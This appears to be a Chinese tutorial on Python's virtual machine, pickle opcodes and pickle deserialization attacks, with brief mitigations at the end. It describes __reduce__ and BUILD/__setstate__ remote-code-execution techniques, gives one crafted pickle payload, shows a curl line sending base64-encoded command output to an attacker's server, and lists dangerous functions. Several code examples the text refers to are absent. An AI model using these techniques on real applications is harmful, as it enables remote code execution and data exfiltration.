对于Python而言,它可以直接从源代码运行程序。Python解释器会将源代码编译为字节码,然后将编译后的字节码转发到Python虚拟机中执行。总的来说,PVM的作用便是用来解释字节码的解释引擎。
PVM的执行流程
当运行Python程序时,PVM会执行两个步骤。
1. PVM会把源代码编译成字节码
字节码是Python特有的一种表现形式,不是二进制机器码,需要进一步编译才能被机器执行 . 如果 Python 进程在主机上有写入权限 , 那么它会把程序字节码保存为一个以 .pyc 为扩展名的文件 . 如果没有写入权限 , 则 Python 进程会在内存中生成字节码 , 在程序执行结束后被自动丢弃 .
2. Python进程会把编译好的字节码转发到PVM(Python虚拟机)中,PVM会循环迭代执行字节码指令,直到所有操作被完成。
PVM与Pickle模块的关系
Pickle是一门基于栈的编程语言 , 有不同的编写方式 , 其本质就是一个轻量级的 PVM .
这个轻量级的PVM由三部分组成:
- 指令处理器( Instruction processor )
从数据流中读取操作码和参数 , 并对其进行解释处理 . 指令处理器会循环执行这个过程 , 不断改变 stack和 memo区域的值 .直到遇到 .这个结束符号 。这时 , 最终停留在栈顶的的值将会被作为反序列化对象返回 。
- 栈区( stack )
由 Python的列表( list)实现 , 作为流数据处理过程中的暂存区 , 在不断的进出栈过程中完成对数据流的反序列化操作,并最终在栈顶生成反序列化的结果
- 标签区(存储区---memo )
由 Python的字典( dict)实现 , 可以看作是数据索引或者标记 , 为 PVM 的整个生命周期提供存储功能 .简单来说就是将反序列化完成的数据以 key-value的形式储存在memo中,以便使用。
- 指令处理器可读的操作码(稍重要)
- c: (称为GLOBAL操作符)读取本行的内容作为模块名module, 读取下一行的内容作为对象名object,然后将 module.object作为可调用对象压入到栈中
- (: 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组
- S: 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中
- t: 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中
- R: 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中
- .: 结束整个 Pickle反序列化过程
简单说来就是:
- c:以c开始的后面两行的作用类似os.system的调用,其中cos在第一行,system在第二行。
- (:相当于左括号
- t:相当于右括号
- S:表示本行的内容一个字符串
- R:执行紧靠自己左边的一个括号对( 即( 和t之间)的内容
- .:代表该pickle结束
在一些场景下,可能会需要把一些内容存储起来,以备后续利用。如果要存储的内容只是一条字符串或是数字,那只需要把它写进文件就行。然而,如果需要存储的东西是一个dict、一个list,甚至一个对象:
class dairy():
date = 20200922
text = " 北京"
todo = [' 大', 'CTF', '金融']
today = dairy()
要把这样的dairy实例today存放在文件里,还要支持以后的随时导入,就很麻烦。一般的做法是:通过一套方法,把这个today 翻译成一个字符串,然后把字符串写进文件;读取的时候,通过读文件拿到字符串,然后翻译成dairy类的一个实例。
“对象 -> 字符串”的翻译过程称为“序列化”;“字符串 -> 对象”的过程称为“反序列化” 。需要保存一个对象的时候,就把它序列化变成字符串;需要从字符串中提取一个对象的时候,就把它反序列化。
举个例子:
在这里,定义了一个很复杂的对象交给x,然后执行pickle.dumps(x),来把x翻译成字符串。接下来,又把这个字符串翻译成对象交给r,可以发现在r进行输出时已经是最开始打包的那个对象了。这就是pickle的意义。
pickle不仅可以读写字符串,也可以读写文件:只需要采用pickle.dump()和pickle.load()
用语言来描述序列化和反序列化的过程:
1.序列化过程:
(1)从对象提取所有属性,并将属性转化为名值对
(2)写入对象的类名
(3)写入名值对
2.反序列化过程:
(1)获取 pickle 输入流
(2)重建属性列表
(3)根据类名创建一个新的对象
(4)将属性复制到新的对象中
注意:
这个对象只要能在当前环境下创建起来就能完成反序列化,否则则不能实现对象的重构
pickle.loads是一个供调用的接口。其底层实现是基于_Unpickler类。代码实现如下:
可以看出,_load和_loads基本一致,都是把各自输入得到的东西作为文件流,传递到_Unpickler类;然后调用_Unpickler.load()实现反序列化。
在反序列化过程中,_Unpickler维护了两个东西:栈区和存储区。结构如下:
栈是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。
存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西,但是大多数情况下并不需要这个存储区。
整体来讲,就如同一台机器读取输入的字符串,然后操作自己内部维护的各种结构,最后输出一个结果。
在python中,有几个内置方法会在对象被反序列化时调用,分别是__reduce__() 、reduce_ex() 、setstate(),而pickle的利用多数是在__reduce__方法上。它们干了这么一件事情:
取当前栈的栈顶记为args,然后把它弹掉。
取当前栈的栈顶记为f,然后把它弹掉。
以args为参数,执行函数f,把结果压进当前栈。
class的__reduce__方法,在pickle反序列化的时候会被执行。其底层的编码方法,就是利用了R指令码。 f要么返回字符串,要么返回一个tuple,后者对攻击者而言更有用。
一种很流行的攻击思路是:利用 reduce 构造恶意字符串,当这个字符串被反序列化的时候,__reduce__会被执行。
给出一个例子:正常的字符串反序列化后,得到一个Student对象。在其中再构造一个字符串,它在反序列化的时候,执行ls /指令。那么只需要这样得到payload:
现在把payload拿给正常的程序(Student类里面没有__reduce__方法)去解析:
之前说到过__reduce__与R指令是绑定的,禁止了R指令就禁止了__reduce__ 方法。那么为了能够继续 RCE ,需要找到一个函数调用fun(arg),其中fun和arg都必须可控。
审pickle源码,来看看BUILD指令(指令码为b)是如何工作的:
这里的实现方式也就是刚刚提到的:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.dict 里面。
Student原先是没有__setstate__这个方法的。那么可以选择利用{'setstate': os.system}来构造这个对象,现在对象的__setstate__就变成了os.system;接下来利用"calc"来再次BUILD这个对象,则会执行setstate("calc") ,而此时__setstate__已经被设置为os.system,因此实现了RCE.
payload构造如下:
payload = b'\x80\x04\x95-\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x0fSerializePerson\x93)\x81}\x8c\x04name\x8c\x03tomsb.'
执行结果:
成功反弹出来了计算器,接下来可以通过反弹shell来控制靶机了。
一、其他模块的load也可以触发pickle反序列化漏洞。例如: pandas作为python里最为强大的数据分析和处理库,在几乎全版本中都存在pickle反序列化漏洞的问题。其中的接口 pandas.read_pickle(filename) 直接调用pickle.load()这个函数,实现读取pkl类型文件的功能。但是当读取的文件是恶意构造的对象时,就可以在目标应用中执行任意代码。
二、即使代码中没有import os,GLOBAL指令也可以自动导入os.system。因此,不能认为“不在代码里面导入os库,pickle反序列化的时候就不能执行os.system”。
三、即使没有回显,也可以很方便地调试恶意代码。只需要拥有一台公网服务器,执行os.system('curl your_server/ls / | base64
),然后查询自己的服务器日志,就能看到结果。这是因为:以`引号包含的代码,在sh中会直接执行,返回其结果。pickle.loads()时,命令结果被base64编码后发送给服务器;利用自己的服务器查看日志,就可以得到命令执行结果。因此,在没有回显的时候,可以通过curl把执行结果送到自己的服务器上。
eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open,os.pipe,os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,
subprocess.Popen, glob.glob,linecache.getline,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,dircache.listdir,dircache.opendir,io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,posixfile.open,posixfile.fileopen,platform.popen
1、用更高级的接口__getnewargs()、getstate()、setstate()等代替reduce()等有危险的魔术方法;
2、进行反序列化操作之前,进行严格的过滤,若采用的是pickle库可采用装饰器实现。